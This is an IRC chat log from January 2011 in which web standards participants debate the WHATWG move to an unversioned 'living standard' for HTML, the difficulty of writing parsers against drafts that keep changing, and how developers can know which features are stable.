- # [23:43] <ment> annevk: that's just tortoise/achilles problem
- # [23:43] <annevk> well, to some people :)
- # [23:43] <ment> afaik css is releasing specs bit by bit
- # [23:43] <jcranmer> I like all of the idiots who complain that "this makes browser comparison difficult, since you can't just say "HTML5: yes"'
- # [23:43] * Joins: lowbatteries (~Adium@76.178.162.64)
- # [23:43] <jcranmer> and the last time that such a distinction was doable was... never, I believe
- # [23:44] <annevk> jcranmer, I wonder how long they thought about such a comment
- # [23:44] <Hixie> if anyone sees any recurring themes in the slashdot comments, please add them as sections to the faq and i'll go in and answer them later (or anyone else can go in and answer them, whatever)
- # [23:44] <jcranmer> that's why WP breaks support down by CSS property or HTML tag/attribute
- # [23:44] <ment> jcranmer: yes it makes conformance difficult. i had these problems when i was writing html5 parser/tokenizer according to draft
- # [23:44] <ment> jcranmer: which had very different tokenizer two months later
- # [23:45] <ment> jcranmer: so i had just to throw most of the tokenizer away and start over again
- # [23:45] * Joins: benschwa_ (~benschwar@ppp118-209-3-167.lns20.mel4.internode.on.net)
- # [23:45] <jcranmer> IMHO, speccing how to precisely handle tag soup is a bit over the top
- # [23:45] <jcranmer> although I do come from a compiler mindset
- # [23:45] <annevk> ment, so the difference could have been that you implemented HTML5 which would have been in the same state as HTML4 (pretty crappy) and there would be another draft called HTML6 which had the fixes
- # [23:45] <jcranmer> where errors are "OMFG, you fail"
- # [23:46] * Quits: matjas (~matjas@91.182.211.157) (Quit: Computer has gone to sleep.)
- # [23:46] <annevk> ment, languages evolve and especially when the legacy constraints are not fully understood (a clear indication of that is when browsers are not shipping conforming implementations) this may cause further changes
- # [23:46] * Parts: lowbatteries (~Adium@76.178.162.64)
- # [23:46] <jgraham> Hixie: The main recurring theme in the slashdot comments was that your employer is evil and you, personally, are a retard
- # [23:47] <annevk> ment, a different development model to standards is not going to solve that though
- # [23:47] * Joins: lowbatteries (~Adium@76.178.162.64)
- # [23:47] <jgraham> (that might not be quite a fair summary)
- # [23:47] * Quits: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [23:47] <realityking> Doesn't the trouble when validating starts when stuff gets moved to deprecated or "obsolete but conforming" how it is now called?
- # [23:48] <ment> annevk: yeah, but now i can't just say to somebody with broken page - fuck off, fix your page to conform to html123. and if i say it, he will start babling about how languages are evolving all the time
- # [23:48] <realityking> CSSWG has made a decision to never remove from the language (whether that is good or not is debatable) I haven't heard something like that for HTML
- # [23:49] <annevk> ment, right
- # [23:49] <espadrine> I don't understand why people link this move to Google Chrome.
- # [23:49] <jamesr_> it doesn't matter whether CSSWG or HTMLWG or WHATWG decides never to remove from the language or not
- # [23:49] <annevk> ment, you can say "fuck off" the moment there are two interoperable implementation that also break his page
- # [23:49] <jamesr_> no implementation can ever remove a popular feature from their implementation of CSS or HTML or whatever
- # [23:49] <annevk> ment, that is why we have the stability indicator
- # [23:49] <jamesr_> no matter what any specification says
- # [23:50] <gsnedders> espadrine: Because Hixie works for Google.
- # [23:50] <Hixie> jgraham: well i can't comment for my employer... :-P
- # [23:50] <annevk> espadrine, I think you can compare them. Chrome has a version number internally. HTML has a SVN revision number internally :)
- # [23:50] <realityking> jamesr_: I believe theres is a difference for document and processor conformance
- # [23:50] <annevk> espadrine, but for "marketing" they are Chrome and HTML
- # [23:50] <foolip_> several people seem to be unhappy that it's hard to know who supports what
- # [23:51] <jgraham> That could be an FAQ
- # [23:51] <ment> annevk: you have to understand there are more html parsers than those implemented in three major web browsers
- # [23:51] <gsnedders> It already is when everyone implements drafts
- # [23:51] <annevk> we have a poitner to caniuse.com in the FAQ
- # [23:51] <jamesr_> realityking: is it a difference that anybody in the real world cares about?
- # [23:51] <annevk> maybe html5test.com should be there too
- # [23:51] <realityking> in the future we might find that the video element is a bad idea and invent something better, how would you reflect that it isn't state of the art anymore?
- # [23:51] <jcranmer> "One inch has an exactly defined length, since long ago. Next big thing is a living standard for measuring. Ridiculous."
- # [23:51] <foolip_> I'll add the question, not the answer
- # [23:51] <jgraham> "Q) How do I know who supports what? A) Look at the results of the testsuite"
- # [23:51] <jamesr_> realityking: you would still have to specify the behavior of <video> so that implementations could be interoperable
- # [23:51] <jcranmer> well, the cm was redefined 4 or 5 times in the 1900s
- # [23:51] <annevk> ment, I do, I implemented one myself
- # [23:51] <jamesr_> assuming that <video> remains popular enough to not drop it
- # [23:52] <ment> annevk: and i don't have twenty monkeys surfing the web watching for latest html broken element trends
- # [23:52] <annevk> ment, for better or worse though until browsers have shipped implementations the draft cannot be considered stable
- # [23:52] <realityking> jamesr_: yes, that why I talked about document conformance
- # [23:52] <ment> annevk: so i will end up trying that in three different browsers figuring out how do _they_ parse it
- # [23:52] <annevk> ment, if we marked it stable without that it would be just like HTML4
- # [23:53] <realityking> I think for documents a versioned approach is desireable
- # [23:53] <jamesr_> realityking: nobody cares about document conformance
- # [23:53] <ment> annevk: yeah, but with dropping version numbers, you said that you are gonna be draft forever
- # [23:53] <annevk> ment, things might change, but most things will be fairly stable
- # [23:53] <jgraham> realityking: You know, nothing rally has changed here. You might have a HTML3.2 document that is not state of the art anymore. How does it help to say 'this is valid HTML3.2'?"
- # [23:53] <annevk> ment, this is no different from CSS Modules amending CSS 2.1 though
- # [23:53] <ment> annevk: sure
- # [23:53] <realityking> jamesr_: so you're saying it doesn't matter what I write in my HTML docs (inventing new elements, attributes and so on)?
- # [23:54] <annevk> ment, change will always happen
- # [23:54] <annevk> when change stops, something better will have come along
- # [23:54] <espadrine> realityking: as long as implementors ship with improvements, there is something to add to the html spec.
- # [23:54] <jamesr_> realityking: you aren't listening
- # [23:54] <jgraham> realityking: I believe that's called the fallacy of the excluded middle or something
- # [23:55] <realityking> espadrine: I'm not proposing not to add to the specs, just that there should be milestones or something
- # [23:55] <foolip_> hmm, the structure of the FAQ is a bit messy after todays edits
- # [23:55] <realityking> jgraham: sorry not a native speaker
- # [23:55] <realityking> I have no clue what your last sentence is supposed to mean
- # [23:56] <ment> annevk: i'm not against change, but the progress of html/css/js could be described as perpetual retardation
- # [23:56] <realityking> of course no HTML3.2 document is state of the art anymore
- # [23:56] <jamesr_> no fixed version of any HTML specification will ever be state of the art
- # [23:56] <foolip_> I seriously doubt "If you do not publish snapshots every now and again, you are Orwellian in your recognition of the role the mistakes of the past play into the present and the future." is a *frequently* asked question :)
- # [23:56] * annevk looks up that term
- # [23:56] <jgraham> The fallacy of the excluded middle is when you say "since I can't do X you are saying I have to do the opposite of X", ignoring all the possibilities between X and its opposite
- # [23:56] <realityking> ah thanks
- # [23:57] <jgraham> foolip_: Well it's not even a question, so no
- # [23:57] <realityking> I don't doubt that the standard process takes too long for innovations
- # [23:57] <annevk> ment, can't really find what that means exactly, but I am not sure if that is true
- # [23:57] <jcranmer> well, what matters is not what the standard says
- # [23:58] <realityking> but how do I know what features are stable when stuff is constantly added to the spec?
- # [23:58] <jcranmer> it matters what implementors actually do
- # [23:58] <annevk> ment, once we have stable implementations in browsers there is no need to change
- # [23:58] <ment> annevk: standards are supposed to make order in things, not to incorporate every retarded thing some developer came up with at microsoft/google/mozilla
- # [23:58] <jcranmer> in an ideal world, the standard is what everyone does
- # [23:58] <jgraham> realityking: The goal is to have per section markers
- # [23:58] <annevk> ment, with the parser anyway, the only changes we will make to the parser will be for new features
- # [23:58] <foolip_> realityking, this just added to the FAQ: http://wiki.whatwg.org/wiki/FAQ#How_can_web_developers_know_which_features_are_safe_to_use.3F
- # [23:58] <jcranmer> in practice, people pick and choose for what they need to have done
- # [23:58] <annevk> ment, it just takes a while to get the parser to that state
- # [23:58] <annevk> ment, where it is stable
- # [23:58] <espadrine> realityking: each implementor has its support table.
- # [23:58] <jgraham> realityking: But in practice, if there are multiple, independent implementations of something such that content relies on it, it is stable
- # [23:59] <jcranmer> for example, officially NNTP is UTF-8; in practice, that is most certainly not a universal statement
- # [23:59] <jgraham> Stability is enforced by the market, not some artifical declaration
- # [23:59] <realityking> espadrine: yeah but a tleasts Webkits sucks
- # [23:59] <annevk> ment, if you have ideas on how to approach this differently btw please do email the list or something
- # [23:59] <realityking> of course I can change every single document in every browser
- # Session Close: Fri Jan 21 00:00:00 2011
The end :)